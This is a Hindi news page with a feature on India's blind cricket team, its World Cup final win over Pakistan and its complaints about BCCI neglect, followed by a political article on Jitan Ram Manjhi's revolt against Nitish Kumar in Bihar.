वर्ल्ड कप से पहले ओडीसा के बाराबती स्टेडियम में खिलाड़ियों ने डेढ़ महीने के अभ्यास सत्र में हिस्सा लिया था. प्रैक्टिस सेशन में खेल की बारीकियों के साथ-साथ खिलाड़ियों के बीच आपसी तालमेल बनाने की भी पूरी ट्रेनिंग दी गई थी. अभ्यास सत्र के दौरान सभी खिलाड़ी ट्रेनिंग और एक्सरसाइज करने में एक-दूसरे की मदद करते थे. देश के 10 अलग-अलग राज्यों से आए इन खिलाड़ि़यों ने इस दौरान रोजाना 10 से 12 घंटे का कड़ा अभ्यास किया. इसके अलावा कुछ खिलाड़ी ऐसे भी होते हैं, जिन्हें न ठीक से हिंदी आती है और न अंग्रेजी. उनके साथ संवाद बनाए रखना भी चुनौती होता है. खिलाड़ियों के बीच तालमेल बना रहे, वे एक-दूसरे के संकेतों, आवाजों को पहचान सकें, इस पर भी कोचिंग स्टाफ को काफी मेहनत करनी पड़ी है.

ब्लाइंड क्रिकेट टीम के पास कोई बड़ा स्पॉन्सर नहीं है. ऐसे में खिलाड़ियों के लिए खेल के जरूरी उपकरणों के साथ सुविधाओं का इंतजाम करना किसी चुनौती से कम नहीं हंै

 अलग होता है यह क्रिकेट
ब्लाइंड क्रिकेट टीम में खिलाड़ियों का चयन तीन कैटेगरी में होता है. पहली कैटेगरी बी1 होती है जिसमें पूरी तरह दृष्टिहीन 4 खिलाड़ी होते हैं. दूसरी कैटेगरी बी2 होती है, जिसमें ऐसे 3 खिलाड़ी होते हैं जिन्हें 3 मीटर तक दिखाई देता है. तीसरी कैटेगरी होती है बी3, जिसमें 4 ऐसे खिलाड़ी होते हैं जिन्हें लगभग 6 मीटर तक दिखता है. खेल में अंडर आर्म बॉलिंग होती है और आवाज करनेवाली बॉल प्रयोग की जाती है. विकेटकीपर के आवाज करने के बाद गेंदबाज बॉल डालता है. बी1 कैटेगरी के खिलाड़ियों को रनर दिया जाता है. पूरी तरह दृष्टिहीन खिलाड़ियों को फील्डिंग के लिए 10 गज के भीतर ही रखा जाता है. दरअसल क्रिकेट का यह फॉर्मेट आवाज और टीम के खिलाड़ियों के आपसी समायोजन पर आधारित है. फील्डिंग के दौरान बी2 और बी3 कैटेगरी के खिलाड़ी एक-दूसरे को सतर्क करते रहते हैं. साथ ही कोच भी खिलाड़ियों को निर्देश दे सकते हैं. खेल में ज्यादातर स्वीप शॉट लगाए जाते हैं.

रोमांचक था फाइनल मुकाबला
फाइनल में टीम की जीत की पटकथा लिखनेवाले ऑलराउंडर सोनीपत के ऑलराउंडर दीपक मलिक ने बताया कि पाकिस्तान ने 40 ओवर में 389 रनों का लक्ष्य रखा था, जिसे भारतीय टीम ने 2 गेंद रहते छह विकेट के नुकसान पर हासिल कर लिया. इस फॉर्मेट के नियमों के मद्देनजर ओपनिंग के लिए दीपक कैप्टन शेखर नायक के साथ उतरे. शेखर बी2 कैटेगरी के हैं और दीपक बी3. नियमानुसार एक साथ एक कैटेगरी के दो खिलाड़ी बल्लेबाजी नहीं कर सकते. विशाल लक्ष्य का पीछा करते हुए कैप्टन शेखर नायक एक रन बनाकर कैच आउट हो गए. अब पूरी जिम्मेदारी दीपक के कंधों पर थी. ऐसे में 33 बॉल पर आतिशी 60 रन की पारी खेलकर हरियाणा के दीपक ने जीत की स्क्रिप्ट लिख दी.

बीसीसीआई का उपेक्षापूर्ण रवैया
कामयाबी की इस पूरी दास्तान के बीच सबसे बड़ी विडंबना यह है कि भारतीय ब्लाइंड क्रिकेट टीम को विश्व के सबसे धनी क्रिकेट बोर्ड बीसीसीआई से अब तक कोई सहयोग नहीं मिला है. न्यूजीलैंड, ऑस्ट्रेलिया, पाकिस्तान और यहां तक कि नेपाल क्रिकेट बोर्ड भी अपने देश की ब्लाइंड क्रिकेट टीम को पूरा सहयोग देते हैं. ब्लाइंड वर्ल्ड कप में हिस्सा लेनेवाली बाकी सारी टीमें अपने देश के क्रिकेट बोर्ड से संबद्ध हैं. ये खिलाड़ी अपनी मूल क्रिकेट टीम की ही जर्सी में खेलते हैं, लेकिन बीसीसीआई अकेला ऐसा बोर्ड है, जिससे ब्लाइंड क्रिकेट टीम का एफिलिएशन नहीं है. कोई टूर्नामेंट जीतने के बाद खिलाड़ियों पर करोड़ों रुपयों की बौछार करनेवाले बीसीसीआई ने अब तक इन खिलाड़ियों के हौसले और इनकी उपलब्धि पर ध्यान देना तक जरूरी नहीं समझा है.

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इंतजार है धोनी सर का
टीम के ऑलराउंडर दीपक मलिक जो मूलतः सोनीपत के हैं, इन दिनों दिल्ली के आरकेपुरम् स्थित अंध विद्यालय में रह रहे हैं. इस समय वे 12वीं में पढ़ रहे हैं. वे महेंद्र सिंह धोनी को अपना रोल मॉडल मानते हैं. दीपक ने बताया, ‘जिन दिनों मैं वर्ल्ड कप की तैयारी कर रहा था, धोनी सर से मेरी मुलाकात हुई थी. उस समय उन्होंने कहा था कि अगर हम वर्ल्ड कप जीतते हैं, तो मुझे एक करोड़ रुपए की स्पॉन्सरशिप दिलवाएंगे. पहले तो मुझे विश्वास नहीं हुआ. फिर मैंने उनसे पूछा कि कहीं आप मजाक तो नहीं कर रहे? वर्ल्ड कप जीतने के बाद उन्होंने मुझे कॉल किया था और बधाई दी थी. उस समय वे ऑस्ट्रेलिया टूर पर थे. अब मुझे उनके वापस लौटने का इंतजार है.’

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सीमित साधनों में हासिल की असाधारण सफलता
एक तरफ बीसीसीआई का उपेक्षापूर्ण रवैया है, तो दूसरी तरफ संसाधनों की कमी. टीम के पास कोई बड़ा स्पॉन्सर नहीं है. ऐसे में खिलाड़ियों के लिए खेल के जरूरी उपकरणों के साथ सुविधाओं का इंतजाम करना किसी चुनौती से कम नहीं है. कुछ खिलाड़ी ऐसे भी हैं, जिन्हें अपने खर्च पर आने-जाने का इंतजाम करना पड़ता है. कोच पैट्रिक राजकुमार का कहना है कि खेल की बारीकियां सिखाने के साथ-साथ हमारी कोशिश यह भी रहती है कि बच्चों का आत्मविश्वास बना रहे. बिना किसी बड़े सहयोग के टीम ने कई बड़े टूर्नामेंट जीते हैं, हमारे लिए यह गर्व की बात है. अगर इनको दूसरे देशों की टीमों की तरह पूरा सहयोग मिले, तो ये बड़ी कामयाबियां हासिल कर सकते हैं.

कैप्टन शेखर नायक के दिल में भी इस बात की कसक है कि उनकी उपलब्धि के मुताबिक उन्हें सहयोग नहीं मिलता. वे कहते हैं, ‘टीम इंडिया की ही तरह टी-20 और वनडे वर्ल्ड कप जीतने के बावजूद अब तक सरकार और बीसीसीआई से उम्मीद के अनुरूप सहयोग नहीं मिला है.’ हालांकि खेल मंत्रालय और प्रधानमंत्री मोदी के द्वारा सम्मानित किये जाने से टीम के सभी खिलाड़ी खुश जरूर हैं. शेखर का कहना है, ‘जब हमने साल 2012 में बेंगलुरू में हुआ टी-20 वर्ल्ड कप जीता था, तब मीडिया में इसकी ज्यादा चर्चा नहीं हुई थी. इस बार जब प्रधानमंत्री ने सम्मान किया, तो उसके बाद राष्ट्रीय मीडिया में भी हमारी उपलब्धियों पर बात की गई.’

टीम इंडिया की जर्सी में खेलने की तमन्ना
टीम के सभी खिलाड़ियों की इच्छा है कि जैसे दूसरे देशों की टीमें अपने देश की आधिकारिक ड्रेस में खेलती हैं, वैसे ही इनको भी टीम इंडिया की जर्सी मिले. वर्ल्ड कप जीतनेवाली टीम के सदस्य केतन पटेल का कहना है, ‘मैं यह महसूस कर सकता हूं कि जब टीम इंडिया के खिलाड़ी मैदान पर उतरते होंगे, तो उनके अंदर गर्व के कैसे भाव आते होंगे? हम भी जब मैदान पर उतरते हैं, तो सिर्फ जीत के ख्याल से आते हैं. टीम के सभी खिलाड़ी चाहते हैं कि हमें बीसीसीआई से कुछ सहयोग मिले और हम सब टीम इंडिया की तरह खेल सकें.’

तस्वीरें: दिल्ली में मतदान का दिन

फोटोः विकास कुमार

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बिहार: ओटन लगे कपास

मांझी से छुटकारा पाने की नीतीश कुमार की हर तरकीब नाकाम सिद्ध हो रही है

छह फरवरी को बिहार में मौसम का मिजाज दो स्तरों पर गड़बड़ाया है- एक प्राकृतिक तापमान और दूसरा राजनीतिक तापमान. वायुमंडल के तापमान में तेजी से गिरावट आयी है और जाते-जाते  ठंड ने ठिठुरन पैदा कर दी है. दूसरी तरफ राजनीतिक तापमान, जो लगभग ठंड हो चुका था, वह अचाक से गरमा गया है. दिल्ली चुनाव के एक दिन पहले बिहार की राजनीति को चर्चा में लाकर इसे गरमाने का काम मुख्यमंत्री जीतन राम मांझी ने किया है. मांझी ने बागी तेवर अपनाते हुए साफ-साफ संकेत दे दिया हैं कि वे कठपुतली नहीं कि उन्हें जब चाहे मुख्यमंत्री के पद पर बिठा दिया और जब जी में आये, हटा दिया. मांझी के इस बगावती मिजाज से नीतीश कुमार, जदयू के राष्ट्रीय अध्यक्ष शरद यादव समेत तमाम बड़े नेता सकते में हैं, लेकिन वे कुछ कर पाने की स्थिति में खुद को नहीं पा रहे हैं. शरद यादव ने सात फरवरी को विधायक दल की बैठक बुलायी, मांझी ने छह फरवरी को ही स्पष्ट कह दिया कि ‘मुख्यमंत्री मैं हूं, विधायक दल का नेता मैं हूं, शरद यादव विधायक दल की बैठक बुलाने वाले कौन होते हैं.’ दरअसल यह शरद की बजाय नीतीश के आदेश पर उनकी मंशा से बैठक बुलायी गयी थी लेकिन मांझी ने भी शरद को केंद्र में रखकर नीतीश को ही जवाब दिया. बात इतनी ही नहीं हुई बल्कि जदयू के कई वरिष्ठ नेता और विधायक खुलकर मांझी के साथ आ गये और एलान कर दिये कि जो मांझीजी से छेड़छाड़ करेगा, वह आग में हाथ डालेगा और जलाएगा.

मांझी से छुटकारा पाने की नीतीश कुमार की हर तरकीब नाकाम सिद्ध हो रही है
मांझी से छुटकारा पाने की नीतीश कुमार की हर तरकीब नाकाम सिद्ध हो रही है

यानि सीधे-सीधे कई मंत्रियों ने कह दिया है कि मांझी के साथ छेड़छाड़ करने पर जदयू का दोफाड़ हो जाएगा. इनमें वृषण पटेल, शकुनी चौधरी, विनय बिहारी जैसे कई ऐसे मंत्री शामिल हैं, जो नीतीश के खासमखास माने जाते रहे हैं लेकिन अब वे मांझी के साथ खड़े हो गए हैं. इस तरह मांझी के बहाने बिहार की राजनीति दूसरी दिशा में पलट गयी है. यह सब ऐसे समय में हुआ है जब नीतीश कुमार अपनी पार्टी में जान डालने के लिए रोजाना कार्यकर्ताओं व पदाधिकारियों का प्रशिक्षण शिविर करने और उनका मनोबल बढ़ाने में लगे हुए हैं. यह सब उस समय में भी हो रहा है, जब नीतीश कुमार, शरद यादव और बिहार प्रदेश अध्यक्ष वशिष्ठ नारायण सिंह राजद और जदयू का विलय करवाने के लिए दिन-रात एक किए हुए हैं. ऐसे हालात में मांझी के बदले मिजाज से बिहार की सियात में एक नई तस्वीर उभरने लगी है.
मांझी नीतीश और जदयू के गले की फांस बन गए हैं. पार्टी न तो उन्हें निगल पा रही है न उगल पा रही है. अगर नीतीश कुमार पार्टी में मांझी को बनाये रखते हैं तो उन्हें जनता के बीच जवाब देना दूभर हो जाएगा और अगर मांझी को हटाते हैं तो उसकी दूसरी मुश्किलें हैं. मांझी अपने थोड़े से कार्यकाल में और कुछ भले न कर पाए हों लेकिन वे दलितों के आइकॉन के रूप में तो स्थापित हो ही गए हैं. उन्होंने अपने नायकत्व को दलितों-महादलितों के बीच स्थापित कर दिया है. इस पूरे घटनाक्रम से भाजपा को बहुत जरूरी राहत हासिल हुई है. राजद और जदयू के संभावित विलय को लेकर भगवा खेमें में बेचैनी का आलम था. भाजपा की निगाह मांझी पर है और मांझी के लिए भी भाजपा सबसे सुरक्षित दांव हैं. हालांकि अभी भी जदयू की ओर से कोशिश जारी है कि मांझी को खुद ही सीएम पद से हटने के लिए राजी कर लिया जाय और किसी दूसरे महादलित को मुख्यमंत्री बना दिया जाए, बदले में मांझी को जदयू में अच्छी जगह स्थापित कर दिया जाय. लेकिन लगता है कि अब बात दूर तक निकल चुकी है. इस उठापटक में पीछे से दांव लगा रही भाजपा ने जो योजना बनाई है उसके हिसाब से मांझी बागी विधायकों व नाराज मंत्रियों के साथ जदयू से अलग होंगे और भाजपा उन्हें बाहर से समर्थन देकर मांझी की सरकार को टेक दए रहेगी. अगले साल होने वाले बिहार विधानसभा चुनाव के मद्देनजर इस गठजोड़ के कई दूसरे दूरगामी परिणाम भी देखने को मिल सकते हैं. फिलहाल भाजपा एक तीर से कई निशाने साधने की स्थिति में है.
फिलहाल तो ये सब अटकल है लेकिन पार्टियों के भीतर से जो खबरे रिस-रिस कर आ रही हैं उनके मुताबिक मांझीजी भाजपा के इशारे पर ही विधानसभा भंग करवाने की बात कह रहे हैं. सूत्र यह भी बता रहे हैं कि मांझी को भाजपा ने प्रस्ताव दे रखा है कि वे  एक बार भाजपा कार्यालय में आकर, रोकर सार्वजनिक रूप से बयान दे दें कि उन्हें महादलित होने और दलितों-महादलितों के पक्ष में आवाज उठाने के कारण नीतीश कुमार और उनके संगी-साथी अपमानित करने पर आमादा हैं. मांझी का मन पहले भी भाजपा की ओर डोलता रहा है. वे नरेंद्र मोदी की तारीफ करते रहे हैं और अब जब भाजपा के राष्ट्रीय अध्यक्ष अमित शाह पटना आ रहे हैं तो मांझी जदयू के विरोध के बावजूद उन्हें राजकीय अतिथि घोषित कर चुके हैं. मांझी के मन में क्या है, मांझी जाने लेकिन यह साफ हो चुका है कि नीतीश कुमार ने लोकतांत्रिक प्रक्रिया को दरकिनार कर जिस तरह से मांझी को सीएम बनाया था, वे उसका ही खामियाजा भुगत रहे हैं. मांझी को सीएम बनाते समय नीतीश कुमार ने विधायक दल की बैठक तक नहीं की थी और अपने व्यक्तिगत निर्णय को पार्टी और सरकार पर थोप दिया था. निकले थे हरिभजन को, ओटन लगे कपास…